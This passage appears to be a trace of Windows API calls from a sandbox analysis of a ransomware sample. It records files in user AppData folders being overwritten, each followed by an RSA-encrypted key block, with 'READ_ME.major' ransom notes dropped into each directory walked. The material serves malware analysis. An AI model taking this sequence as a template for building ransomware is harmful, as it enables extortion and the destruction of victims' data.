dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb40 [0194.734] GetFileSizeEx (in: hFile=0xb40, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0194.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f978e8 [0194.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f8f8c8 [0194.734] ReadFile (in: hFile=0xb40, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.763] SetFilePointer (in: hFile=0xb40, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.763] WriteFile (in: hFile=0xb40, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.763] SetFilePointer (in: hFile=0xb40, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.763] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.763] WriteFile (in: hFile=0xb40, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.763] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.763] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.764] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.764] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="otIJTqnhtTb2tWr3rPjyrzuuZyEkf/9rLShnSJ0XUFBfZAhV1v4Rh00uaNiS9tBb\n67qf6sDte/R8vWFPtJcaZeUPxPUsXJVUDFcb76g/gk+HcqdpK6z6UHjtpJiRopX6\ne7Ga7U8v5b718gBXcpcoe4KL0h99csXufTTXzkN9JM3zKlpT3JHNBDaEcnm8auu5\nV/zHZ1Tou5878O6sgV3aphxcsrYDwIApCk69c7WckGMUqSdbyjPpic/a59D6y5hD\nrkx7U55aiRy8A75ddA07rcAzbpAghx4KG2Bhr4Jc0ppoy8KRiRPRDWTjQiYbphpK\nIOcknXx3Ong+XR8gXOxcuA==\n", pcchString=0x2e3f9a8) returned 1 [0194.764] WriteFile (in: hFile=0xb40, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.764] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.764] WriteFile (in: hFile=0xb40, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.764] CloseHandle (hObject=0xb40) returned 1 [0194.767] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.767] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0194.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85928 [0194.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0194.768] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb40 [0194.768] GetFileSizeEx (in: hFile=0xb40, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0194.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d240 [0194.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d1e0 [0194.768] ReadFile (in: hFile=0xb40, lpBuffer=0x59d240, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.768] SetFilePointer (in: hFile=0xb40, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.769] WriteFile (in: hFile=0xb40, lpBuffer=0x59d1e0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.769] SetFilePointer (in: hFile=0xb40, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.769] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.769] WriteFile (in: hFile=0xb40, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.769] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.770] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.770] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.770] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="PHaG1/8XY+Xqe0QXrW8559Zw+2BHmDeCExyLdahydbDulreXhz2I0vLD7+MYKk7F\n6k5SlJo6IxEng9PGpfftkOwj4MvGEdgowJCwmpKs41xv5yI5pQRxBLYrV7PRO56w\nlehOVfIjkFV6c8xOBJqQA1igqMek+pSDTO1n6i3QHiKechdUk2yqWXaaJZHrA1xc\ncZSZ5YlgyAD6O9LJnhJCLx2vPjoOGcqA41h9mlUnkicsFgPQQU7EvE5/1L3/rJgj\n6GnAr/f/D82egUHuCmuC9MZ9j3SWaL1I2Jv28W4no6Ln1BNbPNyDDLl/6UyDMKxE\nY19FQae0YZePZSq8e37TfQ==\n", pcchString=0x2e3f9a8) returned 1 [0194.770] WriteFile (in: hFile=0xb40, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.770] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.770] WriteFile (in: hFile=0xb40, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.770] CloseHandle (hObject=0xb40) returned 1 [0194.772] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c6b8 [0194.772] FindNextFileW (in: hFindFile=0x2f2c6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.772] FindNextFileW (in: hFindFile=0x2f2c6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.772] FindNextFileW (in: hFindFile=0x2f2c6b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f891a0 [0194.773] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c0f8 [0194.773] FindNextFileW (in: hFindFile=0x2f2c0f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.773] FindNextFileW (in: hFindFile=0x2f2c0f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.773] FindNextFileW (in: hFindFile=0x2f2c0f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f892f0 [0194.773] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e4b4510, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c2b8 [0194.773] FindNextFileW (in: hFindFile=0x2f2c2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e4b4510, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.773] FindNextFileW (in: hFindFile=0x2f2c2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e48e2a2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0194.773] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4c [0194.775] WriteFile (in: hFile=0xb4c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.776] CloseHandle (hObject=0xb4c) returned 1 [0194.776] FindNextFileW (in: hFindFile=0x2f2c2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7e4b4510, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e4b4510, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e4b4510, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0194.776] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4c [0194.776] WriteFile (in: hFile=0xb4c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.777] CloseHandle (hObject=0xb4c) returned 1 [0194.777] FindNextFileW (in: hFindFile=0x2f2c2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e48e2a2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0194.777] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4c [0194.778] WriteFile (in: hFile=0xb4c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.778] CloseHandle (hObject=0xb4c) returned 1 [0194.778] FindNextFileW (in: hFindFile=0x2f2c2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.779] FindNextFileW (in: hFindFile=0x2f2c2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e48e2a2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0194.779] FindNextFileW (in: hFindFile=0x2f2c2b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e48e2a2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0194.779] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88db0 [0194.779] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c438 [0194.779] FindNextFileW (in: hFindFile=0x2f2c438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.779] FindNextFileW (in: hFindFile=0x2f2c438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.779] FindNextFileW (in: hFindFile=0x2f2c438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.779] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85e30 [0194.779] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c478 [0194.779] FindNextFileW (in: hFindFile=0x2f2c478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.779] FindNextFileW (in: hFindFile=0x2f2c478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.779] FindNextFileW (in: hFindFile=0x2f2c478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c01d6e1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c01d6e1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.779] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f84e60 [0194.779] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e441dff, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2c01d6e1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", 